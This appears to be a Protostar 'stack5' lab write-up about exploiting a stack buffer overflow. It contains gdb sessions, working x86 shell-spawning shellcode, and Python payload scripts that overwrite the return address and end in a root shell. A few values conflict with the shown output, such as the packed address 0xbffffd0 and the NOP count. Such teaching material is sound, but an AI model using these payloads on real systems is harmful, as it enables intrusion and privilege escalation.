Protostar 0x05 - Stack5

Prev: 0x04 - Stack4
Next: 0x06 - Stack6

This level is very similar to the previous level, except this time we'll want to redirect program flow to shellcode that we provide, as opposed to a preexisting function within the source code.


If we debug the program with gdb, break at main's return instruction, and check the registers, we can confirm that the stack addresses of both our buffer (found in eax) and the return address (found in esp) are the same as before.


$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) break *main+22
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /tmp/stack5
AAAAAAAA
Breakpoint 1, 0x080483da in main (argc=134513604, argv=0x1) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) info reg
eax      0xbffffc90       -1073742704
ecx      0xbffffc90       -1073742704
edx      0xb7fd9334       -1208118476
ebx      0xb7fd7ff4       -1208123404
esp      0xbffffcdc       0xbffffcdc 
...


Again, 0xbffffcdc minus 0xbffffc90 is 0x4c, or 76 bytes of space. If we want to provide our own instructions for the program to execute we might first think that this would be the place to do it, so let's try to overwrite the return address with the address of our buffer (0xbffffc90).

Most importantly, we'll need some shellcode. There's no reason to reinvent the wheel on this - we could craft our own shellcode if we wanted the challenge, but given that it would be a hefty detour for a level like this I will opt to quickly find some premade Linux x86 shellcode on Shell-Storm. This one by Hamza Megahed should do this trick. These are the instructions:


xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80


In essence, this shellcode cleverly calls "execve("/bin//sh", 0, 0)" which spawns a shell for us. Let's build our Python script to try it out:


import struct

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
            "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
buffer = "A" * (76 - len(shellcode))
ret = struct.pack("<I", 0xbffffc90)
payload = shellcode + buffer + ret

print payload


We can direct this output into a test payload file and inspect the hex dump to confirm it looks correct:


$ python stack5.py > payload
$ xxd payload
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
0000010: 5389 e1b0 0bcd 8041 4141 4141 4141 4141  S......AAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 90fc ffbf  AAAAAAAAAAAA....
0000050: 0a 


Starting from the top, we see 23 bytes of our shellcode ending at address 0x16, followed by 53 bytes of As, and then the stack address of our payload to overwrite the saved return address. You'll notice that Python also adds a newline character - "0a" - but we won't worry about that for now as it won't affect us here.

Let's send this file into the "stack5" program and test it:


$ cat payload | ./stack5
Segmentation fault 


Well, it didn't work, and we don't know why. What if we debug with gdb?


$ gdb stack5
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack5...done.
(gdb) r < payload
Starting program: /tmp/stack5 < payload
Executing new program: /bin/dash
Program exited normally.


So, in gdb our shellcode works as designed. This must mean that there is a discrepancy between the stack layout when running the program normally versus running in gdb. This wasn't a problem in prior levels as we overwrote eip with code section addresses, but now that we're targeting the stack, we'll need to investigate a bit more to ensure we redirect eip to the proper address. Let's enable core dumps so we can dig into an exact image of the memory.


$ ulimit -c unlimited
$ cat payload | ./stack5
Segmentation fault (core dumped)
$ ls
core.11.stack5.2719  payload  stack5  stack5.py


Now, we notice an extra "(core dumped)" notice when hitting the segfault, and if we list the directory contents with "ls" we can see an additional core file we created for us. We can run gdb using this core file an inspect the memory addresses (your core file's name will look different).


$ gdb stack5 core.11.stack5.2719
GNU gdb (GDB) 7.0.1-debian
...
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffc98 in ?? () 


The last line indicates a problem reading instructions, and calling either "info reg" or "x $eip" confirms that the eip register is pointing at address 0xbffffc98, which is a bogus instruction. It appears that it returned to 0xbffffc90 as planned, executed 8 bytes of instructions, but got snagged on 0xbffffc98. Let's inspect this address.


(gdb) x/30x $eip
0xbffffc98:   0xb7e966c0    0xb7fd7ff4    0x00000000    0x00000000
0xbffffca8:   0xbffffd08    0x080483d9    0xbffffcc0    0xb7ec6165
0xbffffcb8:   0xbffffcc8    0xb7eada75    0x6850c031    0x68732f2f
0xbffffcc8:   0x69622f68    0x50e3896e    0xb0e18953    0x4180cd0b
0xbffffcd8:   0x41414141    0x41414141    0x41414141    0x41414141
0xbffffce8:   0x41414141    0x41414141    0x41411441    0x41414141
0xbffffcf8:   0x41414141    0x41414141    0x41414141    0x41414141
0xbffffd08:   0x41414141    0xbffffc90


Just ahead of us, we can see "0x6850c031," the first instructions of our shellcode in little-endian. This confirms our suspicion: we overshot our target.

Let's think - we have a 76-byte buffer and 23 bytes of shellcode. Let's add some padding before our shellcode, roughly 32 bytes, and then overwrite the return address with an address that's in the middle of this buffer. This should increase our chances of getting a hit!

For our buffer, let's use "\x90," the "NOP" or "no operation" instruction, instead of As which might translate to undesirable x86 instructions. Then, for the return address, let's add 16 bytes to the start of our buffer according to the core file. 0xbffffcc0 plus 0x10 is 0xbffffcd0. 


import struct

nops = "\x90" * 48
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
            "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
buffer = "A" * (76 - (len(shellcode) + len(nops)))
ret = struct.pack("<I", 0xbffffd0)
payload = nops + shellcode + buffer + ret

print payload


Let's send this output to a file called "payload" once more and inspect the hex dump:


$ python stack5.py > payload
$ xxd payload
0000000: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000010: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000020: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
0000030: 5389 e1b0 0bcd 8041 4141 4141 4141 4141  S......AAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 d0fc ffbf  AAAAAAAAAAAA....
0000050: 0a


Everything checks out - the first two lines of the hex dump (32 bytes) are "0x90," and the overall output comes in at 77 bytes (76 plus 1 for the newline character that Python adds). If we pipe the output into stack5 using "python stack5.py | ./stack5" we see... nothing. Nothing happens.

The issue is that the shell, once executed, is expecting input but receives none, so it closes. The way to get around this is by combining the python output with the "cat" command. If we provide "cat" with no parameters, the system will await additional input via stdin and redirect it to stdout, thus allowing us to interact with the shell!

Let's try this method, then call "ls" to confirm "cat" is working as expected, before finally entering "whoami" to confirm we've switched to "root."


$ (python stack5.py; cat) | ./stack5
ls
payload  stack5  stack5.py 
whoami
user 


So, not quite. The "cat" command works as expected and we were able to call "ls," but our privileges did not change. As it turns out, we cannot properly execute the shell from our copy of "stack5" in the "tmp" folder, and we will instead need to call the "stack5" program from its original directory. However, because that file is in a different directory ("/opt/protostar/bin" vs. "/tmp"), its stack will be different. This is a result of the stack pushing the directory of the executable as an environment variable. Because the directory "/opt/protostar/bin" creates a longer string, the remainder of the stack is pushed further up, resulting in a majority of the stack addresses having smaller values than if the working directory were "/tmp."

To compensate, we can do two things: first, we could change our current working directly from "/tmp" to "/opt/protostar/bin" and then call the "/tmp" version of "stack5." This would work because the current working directory is another environment variable that affects the stack, so by changing our CWD we would offset the difference created by moving the "stack5" executable to "/tmp."

Alternatively, we could remain in "/tmp" and adjust the eip further back until we get execution. Let's open stack5.py and subtract 0x20 from our ret variable, and then pipe it into the "stack5" function in its original directory. If it works, we'll use "ls" to confirm we can execute commands, and then "whoami" to see if our privileges changed.


ret = struct.pack("<I", 0xbffffcd0-0x20)

...

$ (python stack5.py; cat) | /opt/protostar/bin/stack5
ls
payload  stack5  stack5.py
whoami
root


Awesome! It worked. 

Although we lucked out with our initial "subtract 0x20" guess, this method still requires some precision to land somewhere within our 48-bytes of "NOP." A simpler way to still gain code execution would be to ignore the buffer altogether, and instead return to a stack address after the buffer. This way, we can create a massive "NOP slide" that only requires us to be roughly aware of the stack layout when the program executes. Let's give it a shot - here's the new Python script:


import struct

buffer = "A" * 76
ret = struct.pack("<I", 0xbffffcbc + 0x60)
nops = "\x90" * 160
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
            "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = buffer + ret + nops + shellcode

print payload


160 bytes of "NOP" is a lot of wiggle room now. As for our return address, we'll use the address of the prior NOP slide within the buffer (0xbffffcdc - 0x20) plus 0x60, to be safe. If we test this, we find that it works just as well:


$ (python stack5_2.py; cat) | /opt/protostar/bin/stack5
ls
payload  stack5  stack5.py  stack5_2.py
whoami
root 


Great! We've solved with two different methods: return into the buffer, and return into a massive sled that starts immediately after the saved return address.

Prev: 0x04 Stack4
Next: 0x06 Stack6